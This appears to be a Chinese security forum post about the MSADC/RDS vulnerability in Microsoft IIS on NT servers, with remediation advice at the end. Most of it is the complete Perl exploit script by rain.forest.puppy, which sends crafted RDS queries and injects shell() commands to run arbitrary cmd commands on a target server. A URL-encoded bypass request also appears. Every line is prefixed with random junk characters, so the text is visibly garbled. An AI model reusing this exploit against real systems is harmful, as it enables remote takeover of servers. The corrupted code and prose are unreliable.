IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
D*<8e?F \!?
PhNv 涉及程序:
Lx4H/[$6D Microsoft NT server
l,~ N~? # UP,;W 描述:
b*$o[wO9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.pNq-T =}6Z{}(TT 详细:
i&AXPq>` 如果你没有时间读详细内容的话,就删除:
jb6ZAT<8 c:\Program Files\Common Files\System\Msadc\msadcs.dll
06j)P6Iju 有关的安全问题就没有了。
dqK \Ho#[k=y*/ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
P^o"PKA j:\_*f 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
=qVAvo' 关于利用ODBC远程漏洞的描述,请参看:
KJ05Zx~uma Rwi5+;N http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <#J<QYF&2 Z:}2F^6 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
]2u7?l http://www.microsoft.com/security/bulletins/MS99-025faq.asp '<U[;H9\ !E(J
]a 这里不再论述。
]"7El;2z v@<lEG#$"| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
6.(]}?g1f a'L7y% /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
dnhpWVhn 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
f{oxF?|89 hyr5D9d bx'B;rZr #将下面这段保存为txt文件,然后: "perl -x 文件名"
LXOF{FG +eVpMD(
l #!perl
`cy"-CJS #
@b(gjOE # MSADC/RDS 'usage' (aka exploit) script
d&3I>E$UP #
hKH
Q!`&v # by rain.forest.puppy
A`mf 8'nTG #
yp7,^l # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Phjf$\pt # beta test and find errors!
[eTck73 kdZ-<O7@ use Socket; use Getopt::Std;
Y7IlqC`i getopts("e:vd:h:XR", \%args);
2oNPR+
- &~f*q?xR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
*?
orK o kK_>*iCMo if (!defined $args{h} && !defined $args{R}) {
Mz#S5 s print qq~
o::ymAj Usage: msadc.pl -h <host> { -d <delay> -X -v }
z8rh*Rfxd -h <host> = host you want to scan (ip or domain)
\ {E;u'F -d <seconds> = delay between calls, default 1 second
bN~'cs8 e -X = dump Index Server path table, if available
Q'V,?# -v = verbose
,L;c{[*rh -e = external dictionary file for step 5
#v]aT
]} Ts ?>"@ Or a -R will resume a command session
5w-G]b KfI$'F
#"/ ~; exit;}
3hpz.ISk Et[QcB3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
hgMnO J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1Y"y!\t7G if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Y$DgL
h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7H@Cy}a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
zz''FmedF if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-V)5Tr= ?f%DVK d if (!defined $args{R}){ $ret = &has_msadc;
$f@-3/V6{ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?&t|?@ 9\;/-0P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Y3F.hk}O . "cmd /c ";
41_sSqq;^ $in=<STDIN>; chomp $in;
Tx&qp#FS $command="cmd /c " . $in ;
K,T]Fuy X+G*Q}5 if (defined $args{R}) {&load; exit;}
Vu8-Cy>Q? >ww1:Sn print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R^w >aZoJ &try_btcustmr;
3t}o0Ai9 >w2WyYJYH print "\nStep 2: Trying to make our own DSN...";
p9bxhnn| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B7^n30+L h4xf%vA(; print "\nStep 3: Trying known DSNs...";
%EhU!K#[ &known_dsn;
^bgm0,M ROiX=i print "\nStep 4: Trying known .mdbs...";
0}3'h#33= &known_mdb;
hdWp g 0_r if (defined $args{e}){
*/m~m? print "\nStep 5: Trying dictionary of DSN names...";
2nz'/G &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Q,+*u%/u Gt*<? print "Sorry Charley...maybe next time?\n";
,'0oj$~S: exit;
Yoym5<xE T;e (Q,!H ##############################################################################
V$]a&wM<5 V?pO ~qo sub sendraw { # ripped and modded from whisker
HK4`@jYQ sleep($delay); # it's a DoS on the server! At least on mine...
XhkL))FcG my ($pstr)=@_;
(E]K)d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
x@(f^P die("Socket problems\n");
pt;Sk?-1 if(connect(S,pack "SnA4x8",2,80,$target)){
Gb)iB select(S); $|=1;
Ud?d. print $pstr; my @in=<S>;
~.=!5Ry select(STDOUT); close(S);
z.F+$6 return @in;
<'yC:HeAwD } else { die("Can't connect...\n"); }}
9w<_XXQ 0a-:x4 ##############################################################################
u~Cqdr5
\l I&@@v\$* sub make_header { # make the HTTP request
\:^n-D*fX my $msadc=<<EOT
FbT&w4Um= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
].+G-<.: User-Agent: ACTIVEDATA
F nRxc Host: $ip
_ r)hr7 Content-Length: $clen
[ESQD5& Connection: Keep-Alive
o sH,(\4_
@(5RAYRV ADCClientVersion:01.06
4'e8VI0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'F<e )D? @g5]w&o_ --!ADM!ROX!YOUR!WORLD!
2\W<EWJ@ Content-Type: application/x-varg
-5*;J&. Content-Length: $reqlen
^ x#RUv KTREOOu .t EOT
^mb*w)-p? ; $msadc=~s/\n/\r\n/g;
JO$]t|I return $msadc;}
|?Uc:VFF B_G7F[/K ##############################################################################
5?Ao9Q]@ s9dBXfm sub make_req { # make the RDS request
!f2>6}hE my ($switch, $p1, $p2)=@_;
]$*_2V3VA$ my $req=""; my $t1, $t2, $query, $dsn;
P+l^Ep8P +:8YMM#9V if ($switch==1){ # this is the btcustmr.mdb query
3W
WxpTU $query="Select * from Customers where City=" . make_shell();
1j-i nj` $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
?(hQZR
0e $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
f
}e7g d]M *wx^mB9 elsif ($switch==2){ # this is general make table query
+Rd{ ?)2~ $query="create table AZZ (B int, C varchar(10))";
25KZe s) $dsn="$p1";}
30-wTcG akoKx)(< elsif ($switch==3){ # this is general exploit table query
a{6|[aR $query="select * from AZZ where C=" . make_shell();
AFA*_9Ut $dsn="$p1";}
aM1JG$+7 G cHd39H9 elsif ($switch==4){ # attempt to hork file info from index server
d$
7b $query="select path from scope()";
N%i<DsK.u6 $dsn="Provider=MSIDXS;";}
Sgy~Z^ id9T[^h elsif ($switch==5){ # bad query
Q)dns)_x $query="select";
'hWRwP| $dsn="$p1";}
D1/$pA+B =jHy6)6w $t1= make_unicode($query);
NP/2gjp $t2= make_unicode($dsn);
Z@umbyM $req = "\x02\x00\x03\x00";
gQGiph | $req.= "\x08\x00" . pack ("S1", length($t1));
eT?LMBn\ $req.= "\x00\x00" . $t1 ;
+t6m>IBu $req.= "\x08\x00" . pack ("S1", length($t2));
t,YAk
?} $req.= "\x00\x00" . $t2 ;
)&-+:u0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3xY]Lqwv return $req;}
<C xet~x &"0[7zgYQz ##############################################################################
'D{abm0 k}gs;|_ sub make_shell { # this makes the shell() statement
E':Z_ ^4 return "'|shell(\"$command\")|'";}
XcneH jpR $*ZHk0
7x ##############################################################################
Re>e|$.T }_TdXY
#w\ sub make_unicode { # quick little function to convert to unicode
8h2?Q my ($in)=@_; my $out;
[b'fz for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
KfS^sT return $out;}
l"#,O$x"#@ V&85<Y%Nl| ##############################################################################
s*Ll\# ],4LvIPD sub rdo_success { # checks for RDO return success (this is kludge)
[V~bo/n my (@in) = @_; my $base=content_start(@in);
|-<L :% if($in[$base]=~/multipart\/mixed/){
0^^i=iE-u return 1 if( $in[$base+10]=~/^\x09\x00/ );}
YO61 pZY return 0;}
J ASn\z ?a(3~dh| ##############################################################################
ay.IKBXc $r_ gFv sub make_dsn { # this makes a DSN for us
g#*N@83C my @drives=("c","d","e","f");
aKO@_R,: print "\nMaking DSN: ";
VVOt%d foreach $drive (@drives) {
W=:+f)D print "$drive: ";
} U.B$4Q my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
L1BpY-= "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'z:p8"h} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
8&bj7w,K $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#U6qM(J return 0 if $2 eq "404"; # not found/doesn't exist
mYvm_t9 if($2 eq "200") {
<hdCO<
0( foreach $line (@results) {
*WG}K?"/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
%cL:*D4oz } return 0;}
TMBdneS-s I&c#U+-A' ##############################################################################
on$a]zx'@ nm.d.A/]Z sub verify_exists {
%{"STbO #> my ($page)=@_;
hW&UG#PY> my @results=sendraw("GET $page HTTP/1.0\n\n");
hd' n" return $results[0];}
N0f}q1S<-A m~A/.t%= ##############################################################################
\8ZNXCP -D(!B56_ sub try_btcustmr {
E83nEUs my @drives=("c","d","e","f");
Cz%ih#^b my @dirs=("winnt","winnt35","winnt351","win","windows");
71InYIed YoA$Gw2 foreach $dir (@dirs) {
he #iWD' print "$dir -> "; # fun status so you can see progress
C/=ZNl9"fn foreach $drive (@drives) {
J^cDa|j print "$drive: "; # ditto
I(SE)%!%S $reqlen=length( make_req(1,$drive,$dir) ) - 28;
|)?T([ $reqlenlen=length( "$reqlen" );
*yx:nwmo $clen= 206 + $reqlenlen + $reqlen;
FqfeH_-U l(W3|W#P my @results=sendraw(make_header() . make_req(1,$drive,$dir));
G 2##M8:U0 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
;d4_l:9p else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
;f\0GsA# fx},.P=:* ##############################################################################
o\N}?Z,Kk Uan;}X7@ sub odbc_error {
(ydeZx my (@in)=@_; my $base;
4m:E:zVn my $base = content_start(@in);
YuZnuI@m9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]M/w];: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:%gBcL9T $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(0r6_8e6xv $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e[n>U@ return $in[$base+4].$in[$base+5].$in[$base+6];}
DWG}}vN:& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
hpU7 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0ro+FJ r $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
a/1{tDA X9J^Olq ##############################################################################
9TLP( l;4F,iI sub verbose {
qM)^]2_- my ($in)=@_;
/+iaw~={" return if !$verbose;
5ym
=2U print STDOUT "\n$in\n";}
OA;L^d =0Mmxd&o=M ##############################################################################
%Vq@WF :BS`Q/<w sub save {
7@\iBmr6 my ($p1, $p2, $p3, $p4)=@_;
,aeFEsi open(OUT, ">rds.save") || print "Problem saving parameters...\n";
q!n|Ju< print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4{V=X3,x close OUT;}
<Ip}uy[Y O;~1M3Ii ##############################################################################
*7ox_ R@ P&K~wP] sub load {
z|Xl%8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
LS`Gg7]S open(IN,"<rds.save") || die("Couldn't open rds.save\n");
oKUJB.PF @p=<IN>; close(IN);
P7n~Ui~U $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
]Q+Tm2{ $target= inet_aton($ip) || die("inet_aton problems");
<_5z^@N3$ print "Resuming to $ip ...";
?AEpg.9R- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
R[b?kT-% if($p[1]==1) {
AbB%osz}Ed $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>. A{=? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
2&M
8Wb# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
UX6-{
RP if (rdo_success(@results)){print "Success!\n";}
F n\)*; ^ else { print "failed\n"; verbose(odbc_error(@results));}}
2neiUNT elsif ($p[1]==3){
xGqZ8v`v if(run_query("$p[3]")){
Lt)t}0 print "Success!\n";} else { print "failed\n"; }}
vCJjZ%eO%D elsif ($p[1]==4){
:mij%nQ>$ if(run_query($drvst . "$p[3]")){
j$,`EBf`:< print "Success!\n"; } else { print "failed\n"; }}
&wJ"9pQ~6E exit;}
plca` 4H'9y3dk ##############################################################################
WVVqH_ 8Y:bvs.j sub create_table {
,#<"VU2 bC my ($in)=@_;
AE@*#47 $reqlen=length( make_req(2,$in,"") ) - 28;
=_,w< $reqlenlen=length( "$reqlen" );
J6jrtLh $clen= 206 + $reqlenlen + $reqlen;
X_XqT my @results=sendraw(make_header() . make_req(2,$in,""));
T1Xm^{ return 1 if rdo_success(@results);
k)4
my $temp= odbc_error(@results); verbose($temp);
Q+S>nL!*#1 return 1 if $temp=~/Table 'AZZ' already exists/;
$AoN,B> return 0;}
=\tg$ pmfyvkLS ##############################################################################
C0'Tua' GMFp,Df sub known_dsn {
++xEMP) # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
KVJiCdg- my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9^`G `D "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
D>05F,a "banner", "banners", "ads", "ADCDemo", "ADCTest");
Ucv-}oa-? HZR~r:_
i foreach $dSn (@dsns) {
NX$$4<A1 print ".";
\s[Uq next if (!is_access("DSN=$dSn"));
-8g ;t3z if(create_table("DSN=$dSn")){
qW),)i print "$dSn successful\n";
UAa2oY& if(run_query("DSN=$dSn")){
2uz<n}IV print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
yt$V<8a print "Something's borked. Use verbose next time\n";}}} print "\n";}
lv,<[Hw1 <jfi"SJu ##############################################################################
2Ui)'0 {4UlJ,Z.n sub is_access {
"#(]{MY my ($in)=@_;
IS"UBJ6p $reqlen=length( make_req(5,$in,"") ) - 28;
Yk[yG;W $reqlenlen=length( "$reqlen" );
9;kWuP>k4u $clen= 206 + $reqlenlen + $reqlen;
'R= r9_% my @results=sendraw(make_header() . make_req(5,$in,""));
-]HO8}-Rjs my $temp= odbc_error(@results);
!<@Zf4m verbose($temp); return 1 if ($temp=~/Microsoft Access/);
6:J @ return 0;}
xj(&EGY: .BZw7
YV ##############################################################################
(1*?2u*j v@[MX- ,8 sub run_query {
Z{&PKS my ($in)=@_;
%
`\8z $reqlen=length( make_req(3,$in,"") ) - 28;
J7$5< $reqlenlen=length( "$reqlen" );
Ry tQNwv3 $clen= 206 + $reqlenlen + $reqlen;
qd"*Td my @results=sendraw(make_header() . make_req(3,$in,""));
C^]bXIb return 1 if rdo_success(@results);
bNj| GIf my $temp= odbc_error(@results); verbose($temp);
J %URg=r return 0;}
u
JGYXlLE V\^?V| ##############################################################################
19h8p>Sx0 F(:+[$) sub known_mdb {
`
Y"Rh[C my @drives=("c","d","e","f","g");
!ZHPR:k| my @dirs=("winnt","winnt35","winnt351","win","windows");
FX 0^I 0 my $dir, $drive, $mdb;
n~k;9` my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(yn!~El3 'Q?nU^:F# # this is sparse, because I don't know of many
IKH#[jW'IB my @sysmdbs=( "\\catroot\\icatalog.mdb",
5Tkh6 s "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
=]E;wWC "\\system32\\certmdb.mdb",
j?#S M!f "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
e$fxC-sZ ="z\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
f?[IwA` "\\cfusion\\cfapps\\forums\\forums_.mdb",
b2duC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
eLM_?9AZ!R "\\cfusion\\cfapps\\security\\realm_.mdb",
0(h *<g: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
E XEae? "\\cfusion\\database\\cfexamples.mdb",
Xb5n;=) "\\cfusion\\database\\cfsnippets.mdb",
h{VCx#!] "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
bo`w(h_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Fn yA;,* "\\cfusion\\brighttiger\\database\\cleam.mdb",
#P<v[O/rA "\\cfusion\\database\\smpolicy.mdb",
JEGcZeq) "\\cfusion\\database\cypress.mdb",
Wl?*AlFlk "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
@?f3(Gh, "\\website\\cgi-win\\dbsample.mdb",
[?yOJU%` "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
gs7H9%j{U "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
x=gZ7$?A ); #these are just
A7 E*w foreach $drive (@drives) {
r. =_=V/t foreach $dir (@dirs){
lmgMR|v foreach $mdb (@sysmdbs) {
T[*=7jnJQ print ".";
X2/`EN\ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
FD,M.kbg print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/)e&4.6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~W_m<#K( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<{JHFU`^ } else { print "Something's borked. Use verbose next time\n"; }}}}}
A !x"* ym{?vY
h foreach $drive (@drives) {
.YKQ6 foreach $mdb (@mdbs) {
y/'2WO[ print ".";
It!PP1$
if(create_table($drv . $drive . $dir . $mdb)){
>x eKO2o print "\n" . $drive . $dir . $mdb . " successful\n";
p3 qlVE if(run_query($drv . $drive . $dir . $mdb)){
4hr;k0sD print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
#swzZyM$ } else { print "Something's borked. Use verbose next time\n"; }}}}
3#j%F }
W -8<sv$b O
sbY}*S ##############################################################################
25NZIal< fr4#<6, sub hork_idx {
}b\e2ZK print "\nAttempting to dump Index Server tables...\n";
#db8ur3? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@q} .BcSg $reqlen=length( make_req(4,"","") ) - 28;
1.4]T, ` $reqlenlen=length( "$reqlen" );
b,cA mZ $clen= 206 + $reqlenlen + $reqlen;
'RC(ss1G my @results=sendraw2(make_header() . make_req(4,"",""));
=;9Wh!{ if (rdo_success(@results)){
Y7zg my $max=@results; my $c; my %d;
s0~a5Ti3 for($c=19; $c<$max; $c++){
e%afK@c $results[$c]=~s/\x00//g;
tK`sVsm> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
XTUxMdN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"@;q! B.qo $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
O&!+ni $d{"$1$2"}="";}
=)
$a>N foreach $c (keys %d){ print "$c\n"; }
f
nX!wN } else {print "Index server doesn't seem to be installed.\n"; }}
Kzb&aOw J$%mG*Y( ##############################################################################
yNoJrA +^iUY%pm sub dsn_dict {
U"v(9m@
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
No=Ig-It
while(<IN>){
G^ZL,{ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zQMsS next if (!is_access("DSN=$dSn"));
)!SV V ~y if(create_table("DSN=$dSn")){
@0; 9.jml, print "$dSn successful\n";
y{0`+/\` if(run_query("DSN=$dSn")){
!k)}p_e print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;XMbjWc print "Something's borked. Use verbose next time\n";}}}
Zrr3='^s print "\n"; close(IN);}
mqrP0/sN . p^='Kz? ##############################################################################
I3uaEv7OZc gLa#y sub sendraw2 { # ripped and modded from whisker
L= O,OS+ sleep($delay); # it's a DoS on the server! At least on mine...
;]D@KxO$dJ my ($pstr)=@_;
Py^F},?J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W/<]mm~95 die("Socket problems\n");
w}c1zpa if(connect(S,pack "SnA4x8",2,80,$target)){
-v'7;L0K print "Connected. Getting data";
B;r U open(OUT,">raw.out"); my @in;
vvU;55- select(S); $|=1; print $pstr;
8 P.t while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
17I{_C close(OUT); select(STDOUT); close(S); return @in;
2`Ub;Nn29 } else { die("Can't connect...\n"); }}
ZSuUmCm MUh) ##############################################################################
:DXkAb2 +AhR7R! sub content_start { # this will take in the server headers
]tA39JK-i my (@in)=@_; my $c;
1mm/Ssw:C for ($c=1;$c<500;$c++) {
7L|w~l7R~ if($in[$c] =~/^\x0d\x0a/){
pk%I98! Jy if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
,%w_E[2 else { return $c+1; }}}
@C k6s return -1;} # it should never get here actually
wj!p6D;;S #O6SEK|Z ##############################################################################
IsxPm9P2< odMjxWY sub funky {
~aQ>DpSEf my (@in)=@_; my $error=odbc_error(@in);
^n!{ vHz
if($error=~/ADO could not find the specified provider/){
Q.7Rv
XNw8 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
GMU.Kt exit;}
Q:&,8h[ if($error=~/A Handler is required/){
:0$(umW@I" print "\nServer has custom handler filters (they most likely are patched)\n";
dE!{=u(!i exit;}
JP)/
O! if($error=~/specified Handler has denied Access/){
mq`N&ABO!K print "\nServer has custom handler filters (they most likely are patched)\n";
@+h2R exit;}}
W?mn8Y;{` t_6sDr'. ##############################################################################
5\8Ig f> [7q~rcf,Z sub has_msadc {
WY_}D!O my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9a 9<I my $base=content_start(@results);
+8Yt91 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
wUHuykF return 0;}
A(X~pP&oF {\[u2{ ########################
1v!Xx+} xfCq;?MupW S1(. AI~ 解决方案:
7GY[l3arxv 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#x$. 2、移除web 目录: /msadc